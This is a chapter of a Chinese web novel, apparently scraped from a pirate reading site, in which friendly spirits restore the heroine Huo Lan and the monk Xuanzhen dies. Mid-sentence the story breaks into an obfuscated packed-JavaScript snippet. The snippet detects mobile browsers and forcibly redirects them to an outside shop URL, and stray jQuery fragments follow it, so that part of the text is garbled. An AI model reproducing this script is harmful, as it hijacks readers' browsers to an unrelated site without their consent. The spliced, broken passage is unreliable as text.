文趣网 > 其他小说 > 成为入殓师在古代求生 > 83. 第八十三章
    不同于受玄真乐曲驱策而来的魂体残破且鬼魅,随着汤小小的一声呼唤,人们肉眼可见一抹不同于其他鬼影的泛着金光的魂体凭空而来,仔细一瞧,竟还是位笑容可掬、和蔼可亲的老婆婆。

    “祖母?祖母!快,快救救兰姐姐!”其他人或许不识得,可汤小小自然一眼就认出那是疼她、爱她、养她、护她了十几年的祖母汤婆。

    “小小别怕,祖母帮你,乖啊。”终有机缘以魂体方式再见自己心心念念的孙女一面,汤婆面上的笑愈发慈祥,一时间竟比之玄真大师更具佛性。

    而汤婆的一只手正牵着名同样笑呵呵的女童,自然是那五马村的葛望男。她的一双眼睛在汤婆和汤小小之间来回逡巡,表情从狐疑到豁然:“噫?那就是奶奶的孙女小小姐姐吗?”听她说话,汤婆温柔地摸了摸她的头顶:“是啊,就是你的小小姐姐。”

    “好耶,小小姐姐好,我是望男。”许是在死后得到了心心念念的爱,葛望男比之霍兰初见时更有了小女孩该有的天真烂漫,扬起胳膊便和汤小小打起招呼,浑然不觉周遭环境有异。

    在她们二人身后自然是周宛盈,蹙着好看的眉紧紧盯着痛苦到已无法发声而躺在长孙无为怀中的霍兰,语气关切:“兰儿,别怕,我们来了。”

    虚弱不已的霍兰听到这一句,勉强睁开眼睛苦涩一笑:“宛盈姐姐,你们……来啦……”

    形式如此急迫,眼看着霍兰的魂体在一步步被强行扯离,被突然出现的“怪异”鬼魂惊到的玄真面色愈发凝重,吹笛之声也越发急促、高调。

    “事不宜迟了,来吧。”汤婆最后深深看了一眼孙女小小后,便牵着葛望男义无反顾地朝霍兰俯冲而去,在接近霍兰身躯不过一横指距离时,二魂化作星星点点的金光柔柔地覆在霍兰的周身和魂体上。

    不知是发生了什么奇妙的作用,原本同样痛苦不堪的魂体霍兰被金光滋养,面上神色变得安宁,似重新受到重力一般不再受玄真鬼魅的笛声驱使,反而慢慢地又与躯体结合,从脚开始一步步蔓延向上。

    从始至终看着这一切的长孙无为在低头看见心爱之人松开的眉心时,又是数滴泪落下,只是这一次不再是无能的、痛苦的眼泪,而是一种得到解救的喜悦之泪。

    紧紧握着霍兰手不放的霍筠感觉更为直观,因为原本变得冰凉无匹的指尖复又燃起了热度,他年少时也曾读过几本医书,上面都曾言及若人之将死都是先从手脚开始发凉起,直至心窝,一旦身躯全然凉透了,便是回天乏术。

    如今,在金色魂魄的帮助下,霍兰的手再一次暖了起来,岂不是表明他的妹妹已不再有事的好兆头嘛。

    “兰儿,别怕。”周宛盈又说了这一句,同时比之汤婆、葛望男还未近身便散去不同,她泛着金光的手在最后一刻触碰到了霍兰的脸颊,犹如一簇生命之火落在其上,使霍兰的精神大慰,嘤咛一声后有了保持睁开眼睛的力气,嘴唇都开始有了些许的血色。

    渐渐意识到发生了什么的霍兰眼中却没有自己生的喜悦,反而是一种更深邃的悲恸:“宛盈姐姐,对不起,我……”

    “何需致歉,若不是兰儿你,我的冤屈如何能沉冤得雪?而害我之人根本无法自食恶果,你于我的恩情结草衔环都难以报答,如今不过是用我的魂魄帮助兰儿好好活着,实在太好了……太好了……”说完最后一个字,周宛盈同样义无反顾地化作金色光点覆盖在霍兰的魂魄上,让魂魄重归躯体的进度再一次加快。

    有了周宛盈的相助,霍兰的躯壳与魂魄的重合已经到了脖子处,唯独脑袋旁还有淡淡的魂体在慢慢地回归,饶是如此已让霍兰觉得神智清醒不少,真正有了得救之感。

    “无为,扶我起来,好不好?”霍兰不想自己是一个趴在地上的弱者姿态面对玄真,柔声地请求抱着她的长孙无为,后者“嗯”了一声和霍筠一齐撑着她重新站了起来,直视仍旧不放弃的玄真。

    三道泛着金光且能看清面目的魂魄义无反顾地帮助霍兰,而玄真笛声催出的魂体却如此可怖,先前围观者中支持玄真之人也开始动摇,凑在一起嘀咕,心中慢慢生出了对玄真的怀疑。

    玄真他……当真是当世的得道高僧吗?

    “玄真,你还不停手吗?”霍兰深吸一口气,用尽全身的力量喊出这一句,目光坚定、不卑不亢,只希望对方不要再做垂死挣扎,毕竟今日发生的桩桩件件,尤其是其召唤出的凄惨魂魄飞散在他们身周的模样实在可怜,任谁在今日之后都不可能再奉对方为皇寺住持。

    那么,又何必在霍兰重获生机后再苦苦做法呢?

    可听她问出这一句的玄真根本没有停手的打算,吹奏笛子的嘴露出一个微笑的弧度,这样的态度让霍兰心中疑惑更甚。

    恰在此时,一道熟悉的残破魂体正从霍兰跟前飞过,她一眼便认出那是华问露的残魂,不知为何她福至心灵地伸手想握住对方痛苦的残魂,就在她的指尖接触到对方的刹那,一道金光从她手指传出导向华问露残魂的周遭,那金光似有疗愈魂体的力量,竟慢慢把对方被破坏的部分一点点地弥补了起来。

    同时,华问露魂体也从青白且流着血泪的状态慢慢变成其生前美艳动人的模样。整个过程中,曾前往幻月阁见过她跳舞的百姓有认出之人高声大喊:“我识得她,是幻月阁最美的舞娘华问露娘子,天哪,竟是她!她怎会,怎会被玄真召出?莫非……莫非……”

    有心之人一听到此人最后支支吾吾、欲言又止的语气,便能明白所谓的皇室和八问大师的秘辛从来不是堵不透风的墙,朝都城中的百姓也不是各个一无所知,只是求生欲让他们自觉地管住了嘴巴和舌头。

    听到此处,就连钟黎的脸色也白了起来,一旁的萧珩对她怒目而视,似乎是在用表情操控她,企图让她赶紧着人把这些无关的百姓尽快驱逐出化业寺。可最终,钟黎只是闭上眼睛,什么都没有做。

    而对钟黎他们的互动毫无所觉的霍兰等人仍不退却地与玄真对峙,察觉到自己有了“特殊能力”的霍兰看了看自己的手指,就在方才,重新获得完整魂体的华问露在恢复清醒后只是对她粲然一笑,随即如汤婆她们一般想都没想就变成金光钻进了霍兰的体内,这会儿,她的半个脑袋也跟魂魄融合完成了。

    发呆了一会儿,霍兰将手挥向先前偷偷拜访过的薛远舟落榻禅房的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934141|205833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方向,心中不知在期待着什么,心脏跳动如擂鼓,努力地在向主人表明它眼下很“健康”。

    受她召唤,熟悉的金光魂体自那个方向又出现一道,霍兰看清之后瞬间红了眼眶,喃喃道:“慧心姐姐。”

    不错,那便是之前不知是何人用了何种术法被拘在薛远舟体内的苏慧心,而此刻重获自由的魂体也不假思索地朝着霍兰飘来。

    苏慧心什么都没说,可又仿佛用眼睛说了千言万语,在极短的时间内如同子弹一般冲进霍兰身体。

    至此,霍兰与“霍兰”再一次紧密结合,并且从今而后,世间再无任何术法能将她们分开。

    “叮。”这是只有霍兰能听到的脑袋里响起的声音。

    “健康值已满100分,感谢宿主的努力,辛苦了,再见。”这是系统第一次说话,声线活像一个人工智能,不带丝毫的情感波动,并且在说完再见后当真安静如鸡,纵使霍兰尝试性地在心中喊了它几声,都得不到半分回馈。

    这是自穿越以来从未有过的痛快感,仿佛新生一般,体内充斥着一股使不完的劲儿,就是这股劲让霍兰再也没了对玄真的惧怕。轻轻地挣开了长孙无为的环抱,她向前踏出一步,冷冷傲视玄真:“收手吧,玄真大师。苦海无涯,回头是岸呐。”

    如果说从头至尾是他们两个人的对峙,那么输赢在此刻已经分明。

    完成体的霍兰周身也泛起与先前帮助修复她的魂体一致的金光,整个人散发着让人无法直视的神性,如果有人这会儿分出目光看去,会发现已经有百姓不自觉地坐地盘腿,对着霍兰的方向念起了经文,那是他们心甘情愿的虔诚。

    与此同时,那些辨不清面目的残魂们在接触到霍兰身周的金光时,也如华问露一般得到了滋养,可她们并没有冲进霍兰的体内,反而或笑或泣地向她道谢或者福身行礼,随后非常默契地朝着同一个方向飞去。

    那一处,是古树的所在,而其中的白骨与尸身,自然就是她们的。

    在魂体们得到滋养并甘入轮回后,玄真的笛声越来越低沉、虚弱,同时,在一次难以抑制的咳嗽声后,他的唇角流出了鲜红的血液。

    一开始只是一缕,后来吐出的越来越多,堵住了笛子的空洞,让那难听的乐声偃旗息鼓。

    短笛被颤抖的手放弃,跌落在地发出痛苦的鸣叫,亦如其主人,最后喷出一口鲜红血液,无力地倒退了好几步,重重地跌坐在地。

    玄真眉间永远殷红的痣变得黯淡无光,好像真成了一颗平平无奇的黑痣。

    就在众人吃不准他是不是下一刻又会出奇招而观望的时候,却见他仰天大笑三声,随即双手抬起汇于胸前作礼,喊出一句:“阿弥陀佛,此业已消。”

    全场沉寂大概有三分钟之久后,胆子最大的谢步羽面色不睦地走上前去狠狠地推了一把玄真的肩膀:“秃驴,休要再虚张声势,还有什么招式尽管……”

    可没等谢步羽的话说完,玄真的身体便顺着他的推动软软地倒在了地上。

    “大师、大师他,圆寂了!”对礼佛已颇有渊源的一位老臣在人群中大喊了这一句,宣告了玄真最后的结局。